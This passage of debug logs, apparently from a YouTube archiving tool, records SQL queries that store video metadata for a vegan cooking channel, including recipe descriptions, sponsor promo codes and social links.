batch\n\n3 cup rolled oats\n2 cups unsweetened plant milk\n2½ cups water \n2 tbsp cinnamon, divided\n½ tsp nutmeg\n4 large/6 small crisp apples diced\n4 tbsp maple syrup, divided\n2½ tbsp miso white miso paste, divided\n1 tsp ground ginger\n1 tbsp vegan butter\n\n1. Chop all the apples and divide them in half.\n2. Add oats, milk, water, 1½ tbsp cinnamon, nutmeg, and 2 tbsp of maple syrup to a large pot and whisk well to dissolve all the spices.\n3. Cover, bring to a gentle boil, then reduce heat to a simmer, add half the chopped apples and the oats. Stir to combine and cook uncovered for 15 to 20 minutes over medium-low heat, stirring occasionally to prevent the oats from sticking to the bottom.\n4. Melt 1 tbsp vegan butter in a separate large saucepan over medium heat, and add the remaining apples, ½ tbsp cinnamon, ground ginger and 2 tbsp maple syrup. Cook uncovered for about 10 to 12 minutes, stirring frequently as the apples caramelize.\n5. In a small bowl whisk the 1½ tbsp miso and 3 tbsp water. Once the oatmeal is cooked and most of the liquid is absorbed, remove the pot from the heat and pour the miso mixture over the oats, and stir well to combine. \n6. Whisk the remaining 1 tbsp miso with water, remove the cooked caramelized apples from the heat, pour the miso mixture over the apples and stir to combine. \n7. Serve the oatmeal in bowls topped with some of the miso spiced apples and a sprinkle of chopped pecans and enjoy!\n\n\n* PROMO CODES/Products I Use*\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code 'STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nMusic featured in this episode:\n\nFree Music for Videos 👉 Music by Wabi Sabi - beachside guitar - https://thmatc.co/?l=62A5F00E\nFree Music for Videos 👉 Music by Azure Tones - Silver Lining - https://thmatc.co/?l=0D88FA26", "Oatmeal with a *surprising* ingredient | meal prep, gluten-free and vegan recipe", 1, nil, false, "zUDITxVIkYY", "https://www.youtube.com/watch?v=zUDITxVIkYY", "/downloads/downloads/alec/Steamy Vegan/2024-09-26 Oatmeal with a *surprising* ingredient | meal prep, gluten-free and vegan recipe/Oatmeal with a *surprising* ingredient | meal prep, gluten-free and vegan recipe [zUDITxVIkYY] (truncated) 20:31:07.230 [debug] QUERY OK source="sources" db=1.9ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.233 [debug] QUERY OK source="media_items" db=2.6ms idle=9.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-22 00:00:00Z], 1] 20:31:07.236 [debug] QUERY OK source="media_items" db=1.7ms idle=12.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat in a day as a vegan to get 100g of protein! I’ll show you gluten-free vegan, high-protein vegan meals and how easy it is to eat a high-protein vegan diet. \n\nWatch my other ‘WHAT I EAT IN A DAY’ videos here! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nRECIPES\n\nPROTEIN YOGURT GRANOLA BOWL — 525 cal, 63g carb, 20g protein, 23g fat\n½ cup silk greek-style protein yogurt\n½ cup pumpkin spice granola (recipe in this video ➡️ \u00A0\u00A0\u00A0•\u00A0Cozy\u00A0&\u00A0Healthy\u00A0Vegan\u00A0Breakfast\u00A0Ideas\u00A0For\u00A0F...\u00A0\u00A0)\n¼ cup blueberry chia jam (recipe in this video ➡️ \u00A0\u00A0\u00A0•\u00A0Blueberry\u00A0Chia\u00A0Seed\u00A0Jam\u00A0🫐\u00A0How\u00A0to\u00A0make\u00A0my\u00A0F...\u00A0\u00A0)\n\nSHAKSHOUKA + TOFU SCRAMBLE + KASHA — 381 cal, 54g carb, 27g protein, 10g fat\n1 onion, diced\n3 cloves garlic, minced\n1 red bell pepper, chopped\n½ cup fresh chopped parsley\n1 tsp cumin\n½ tsp paprika\n½ tsp cardamom \n½ tsp salt\nPepper to taste\n1 x 28oz can diced tomatoes\n\nTofu Scramble recipe here ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0best\u00A0TOFU\u00A0SCRAMBLE\u00A0|\u00A0how\u00A0to\u00A0make\u00A0tofu\u00A0...\u00A0\u00A0\n\nFALAFEL FLATBREAD — 692 cal, 115g carb, 31g protein, 14g fat\n(This was a recipe test! Still tweaking it)\n\n* PROMO CODES/Products I Use*\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code 'STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I eat in a day as a vegan to reach 100g protein! 💪🏼 High protein vegan meals", "e6f7bed5-efff-4fad-b1a3-bfb5890e0cc4", 1, [], false, "KsVT3hTWIVE", "https://www.youtube.com/watch?v=KsVT3hTWIVE", 156, "/downloads/downloads/alec/Steamy Vegan/2024-09-22 What I eat in a day as a vegan to reach 100g protein! 💪🏼 High protein vegan meals/What I eat in a day as a vegan to reach 100g protein! 💪🏼 High protein vegan meals [KsVT3hTWIVE].NA", false, false, false, 1, ~U[2024-09-22 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "What I eat in a day as a vegan to get 100g of protein! I’ll show you gluten-free vegan, high-protein vegan meals and how easy it is to eat a high-protein vegan diet. \n\nWatch my other ‘WHAT I EAT IN A DAY’ videos here! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nRECIPES\n\nPROTEIN YOGURT GRANOLA BOWL — 525 cal, 63g carb, 20g protein, 23g fat\n½ cup silk greek-style protein yogurt\n½ cup pumpkin spice granola (recipe in this video ➡️ \u00A0\u00A0\u00A0•\u00A0Cozy\u00A0&\u00A0Healthy\u00A0Vegan\u00A0Breakfast\u00A0Ideas\u00A0For\u00A0F...\u00A0\u00A0)\n¼ cup blueberry chia jam (recipe in this video ➡️ \u00A0\u00A0\u00A0•\u00A0Blueberry\u00A0Chia\u00A0Seed\u00A0Jam\u00A0🫐\u00A0How\u00A0to\u00A0make\u00A0my\u00A0F...\u00A0\u00A0)\n\nSHAKSHOUKA + TOFU SCRAMBLE + KASHA — 381 cal, 54g carb, 27g protein, 10g fat\n1 onion, diced\n3 cloves garlic, minced\n1 red bell pepper, chopped\n½ cup fresh chopped parsley\n1 tsp cumin\n½ tsp paprika\n½ tsp cardamom \n½ tsp salt\nPepper to taste\n1 x 28oz can diced tomatoes\n\nTofu Scramble recipe here ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0best\u00A0TOFU\u00A0SCRAMBLE\u00A0|\u00A0how\u00A0to\u00A0make\u00A0tofu\u00A0...\u00A0\u00A0\n\nFALAFEL FLATBREAD — 692 cal, 115g carb, 31g protein, 14g fat\n(This was a recipe test! Still tweaking it)\n\n* PROMO CODES/Products I Use*\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code 'STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I eat in a day as a vegan to reach 100g protein! 💪🏼 High protein vegan meals", 1, nil, false, "KsVT3hTWIVE", "https://www.youtube.com/watch?v=KsVT3hTWIVE", "/downloads/downloads/alec/Steamy Vegan/2024-09-22 What I eat in a day as a vegan to reach 100g protein! 💪🏼 High protein vegan meals/What I eat in a day as a vegan to reach 100g protein! 💪🏼 High protein vegan meals [KsVT3hTWIVE].NA", false, ~U[2024-09-22 00:00:00Z]] 20:31:07.237 [debug] QUERY OK source="sources" db=0.6ms idle=12.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.240 [debug] QUERY OK source="media_items" db=1.9ms idle=9.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-20 00:00:00Z], 1] 20:31:07.241 [debug] QUERY OK source="media_items" db=1.2ms idle=9.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out all the healthy WFPB groceries I bought at my local Superstore in this vegan grocery haul. I'm getting ready for a high protein meal plan for weight loss during a 90 day workout so I'll be doing my best to stick to a high protein whole food plant based diet. \n\nCheck out more of my grocery haul videos here! ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\n\n* PROMO CODES/Products I Use*\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code 'STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Healthy WFPB Grocery Haul for Fall! 🍂", "e386ee34-bfd7-4242-8298-5faf110f38cb", 1, [], false, "dyTF5aOQfsw", "https://www.youtube.com/watch?v=dyTF5aOQfsw", 157, "/downloads/downloads/alec/Steamy Vegan/2024-09-20 Healthy WFPB Grocery Haul for Fall! 🍂/Healthy WFPB Grocery Haul for Fall! 🍂 [dyTF5aOQfsw].NA", false, false, false, 2, ~U[2024-09-20 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Check out all the healthy WFPB groceries I bought at my local Superstore in this vegan grocery haul. I'm getting ready for a high protein meal plan for weight loss during a 90 day workout so I'll be doing my best to stick to a high protein whole food plant based diet. \n\nCheck out more of my grocery haul videos here! ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\n\n* PROMO CODES/Products I Use*\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code 'STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Healthy WFPB Grocery Haul for Fall! 🍂", 1, nil, false, "dyTF5aOQfsw", "https://www.youtube.com/watch?v=dyTF5aOQfsw", "/downloads/downloads/alec/Steamy Vegan/2024-09-20 Healthy WFPB Grocery Haul for Fall! 🍂/Healthy WFPB Grocery Haul for Fall! 🍂 [dyTF5aOQfsw].NA", false, ~U[2024-09-20 00:00:00Z]] 20:31:07.242 [debug] QUERY OK source="sources" db=0.5ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.245 [debug] QUERY OK source="media_items" db=2.1ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-18 00:00:00Z], 1] 20:31:07.249 [debug] QUERY OK source="media_items" db=2.9ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This high protein vegan recipe is perfect for your meal prep for the week! It's a component meal prep that will allow you to use each component together or you can eat them separately throughout the week. In this bowl, we've got buckwheat, arugula, butternut squash, broccoli, butter beans, falafel, and a balsamic glaze I buy from Costco. \n\nOne dinner-sized bowl is approximately 500 calories and 25g of protein, depending on your serving size, mine was:\nLarge handful of arugula\n1½ cup cooked veg\n⅓ cup whipped butter beans\n3 falafels (Trader Joe's)\n¾ cup cooked buckwheat groats\n\nWatch more of my meal prep videos here! ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\n\n*RECIPES*\nBasic Cooked Buckwheat\n1½ cups buckwheat groats\n3 cups water or veggie broth\npinch of salt\n1. Rinse the buckwheat groats under running water, add to a pot with water and salt, cover and bring to a boil, then turn down to a simmer and cook for 20 to 25 minutes until all water has been absorbed.\n\nAir Fried/Baked Butternut Squash & Broccoli\n1 small butternut squash, peeled, cored and chopped\n3 cups broccoli florets\n1½ tbsp soy sauce or tamari\n1½ tsp oil\n2 tbsp nutritional yeast\n1 tsp garlic powder\n1. Toss the squash and broccoli in the oil and seasonings, transfer to an air fryer basket or parchment lined baking sheet and air fry for 20 to 25 minutes at 400F (or bake on top rack of oven for 30 to 35 minutes at 400F), or until the squash is fork tender and golden on the edges.\n\nWhipped Butter Beans\n2 cups canned/cooked butter beans AKA lima beans\n2 tbsp tahini\n2 tbsp nutritional yeast\n1 tbsp lemon juice\n1 tsp garlic powder\n1½ tsp lemon pepper seasoning OR salt and pepper to taste\n1. Add all ingredients to a food processor and blend on high speed until smooth.\n\n1 batch frozen or homemade falafels, cooked to package directions\n\n\n* PROMO CODES/Products I Use*\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code 'STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nMusic featured in this episode:\nFree Music for Videos 👉 Music by Gordon Crumb - Kiss Me Better - https://thmatc.co/?l=B636CBC5\n\nFree Music for Videos 👉 Music by Gordon Crumb - Happiness - https://thmatc.co/?l=935E6B27\n\nFree Music for Videos 👉 Music by Gordon Crumb - How I Met Your Mother - https://thmatc.co/?l=C0BDD74A\n\nFree Music for Videos 👉 Music by Gordon Crumb - Rich Life - https://thmatc.co/?l=2488B225", "High Protein Vegan Meal Prep! 🍂 Fall Falafel Bowl", "878c3663-4aab-4a58-8d49-1859c40c7fe0", 1, [], false, "QQgb0AO0-Pk", "https://www.youtube.com/watch?v=QQgb0AO0-Pk", 158, "/downloads/downloads/alec/Steamy Vegan/2024-09-18 High Protein Vegan Meal Prep! 🍂 Fall Falafel Bowl/High Protein Vegan Meal Prep! 🍂 Fall Falafel Bowl [QQgb0AO0-Pk].NA", false, false, false, 1, ~U[2024-09-18 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "This high protein vegan recipe is perfect for your meal prep for the week! It's a component meal prep that will allow you to use each component together or you can eat them separately throughout the week. In this bowl, we've got buckwheat, arugula, butternut squash, broccoli, butter beans, falafel, and a balsamic glaze I buy from Costco. \n\nOne dinner-sized bowl is approximately 500 calories and 25g of protein, depending on your serving size, mine was:\nLarge handful of arugula\n1½ cup cooked veg\n⅓ cup whipped butter beans\n3 falafels (Trader Joe's)\n¾ cup cooked buckwheat groats\n\nWatch more of my meal prep videos here! ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\n\n*RECIPES*\nBasic Cooked Buckwheat\n1½ cups buckwheat groats\n3 cups water or veggie broth\npinch of salt\n1. Rinse the buckwheat groats under running water, add to a pot with water and salt, cover and bring to a boil, then turn down to a simmer and cook for 20 to 25 minutes until all water has been absorbed.\n\nAir Fried/Baked Butternut Squash & Broccoli\n1 small butternut squash, peeled, cored and chopped\n3 cups broccoli florets\n1½ tbsp soy sauce or tamari\n1½ tsp oil\n2 tbsp nutritional yeast\n1 tsp garlic powder\n1. Toss the squash and broccoli in the oil and seasonings, transfer to an air fryer basket or parchment lined baking sheet and air fry for 20 to 25 minutes at 400F (or bake on top rack of oven for 30 to 35 minutes at 400F), or until the squash is fork tender and golden on the edges.\n\nWhipped Butter Beans\n2 cups canned/cooked butter beans AKA lima beans\n2 tbsp tahini\n2 tbsp nutritional yeast\n1 tbsp lemon juice\n1 tsp garlic powder\n1½ tsp lemon pepper seasoning OR salt and pepper to taste\n1. Add all ingredients to a food processor and blend on high speed until smooth.\n\n1 batch frozen or homemade falafels, cooked to package directions\n\n\n* PROMO CODES/Products I Use*\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code 'STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nMusic featured in this episode:\nFree Music for Videos 👉 Music by Gordon Crumb - Kiss Me Better - https://thmatc.co/?l=B636CBC5\n\nFree Music for Videos 👉 Music by Gordon Crumb - Happiness - https://thmatc.co/?l=935E6B27\n\nFree Music for Videos 👉 Music by Gordon Crumb - How I Met Your Mother - https://thmatc.co/?l=C0BDD74A\n\nFree Music for Videos 👉 Music by Gordon Crumb - Rich Life - https://thmatc.co/?l=2488B225", "High Protein Vegan Meal Prep! 🍂 Fall Falafel Bowl", 1, nil, false, "QQgb0AO0-Pk", "https://www.youtube.com/watch?v=QQgb0AO0-Pk", "/downloads/downloads/alec/Steamy Vegan/2024-09-18 High Protein Vegan Meal Prep! 🍂 Fall Falafel Bowl/High Protein Vegan Meal Prep! 🍂 Fall Falafel Bowl [QQgb0AO0-Pk].NA", false, ~U[2024-09-18 00:00:00Z]] 20:31:07.250 [debug] QUERY OK source="sources" db=0.8ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.252 [debug] QUERY OK source="media_items" db=2.2ms idle=8.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-15 00:00:00Z], 1] 20:31:07.255 [debug] QUERY OK source="media_items" db=1.5ms idle=10.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you're looking for the high protein pasta recipe of your dreams... this Caramelized Onion Pasta is my best pasta recipe EVER! 30g protein, vegan, gluten-free, simple to make in just 30 minutes 😉\n\nCaramelized Onion Rosé Pasta Recipe is on my blog ➡️ https://steamyvegan.com/caramelized-o...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "My best pasta recipe... EVER! Caramelized Onion Pasta 🧅 High Protein Pasta Recipe!", "de4a1f12-3cef-42e9-9b7d-4b0e238b208c", 1, [], false, "pMauD84qRY0", "https://www.youtube.com/watch?v=pMauD84qRY0", 159, "/downloads/downloads/alec/Steamy Vegan/2024-09-15 My best pasta recipe... EVER! Caramelized Onion Pasta 🧅 High Protein Pasta Recipe!/My best pasta recipe... EVER! Caramelized Onion Pasta 🧅 High Protein Pasta Recipe! [pMauD84qRY0].NA", false, false, false, 1, ~U[2024-09-15 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "If you're looking for the high protein pasta recipe of your dreams... this Caramelized Onion Pasta is my best pasta recipe EVER! 30g protein, vegan, gluten-free, simple to make in just 30 minutes 😉\n\nCaramelized Onion Rosé Pasta Recipe is on my blog ➡️ https://steamyvegan.com/caramelized-o...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off 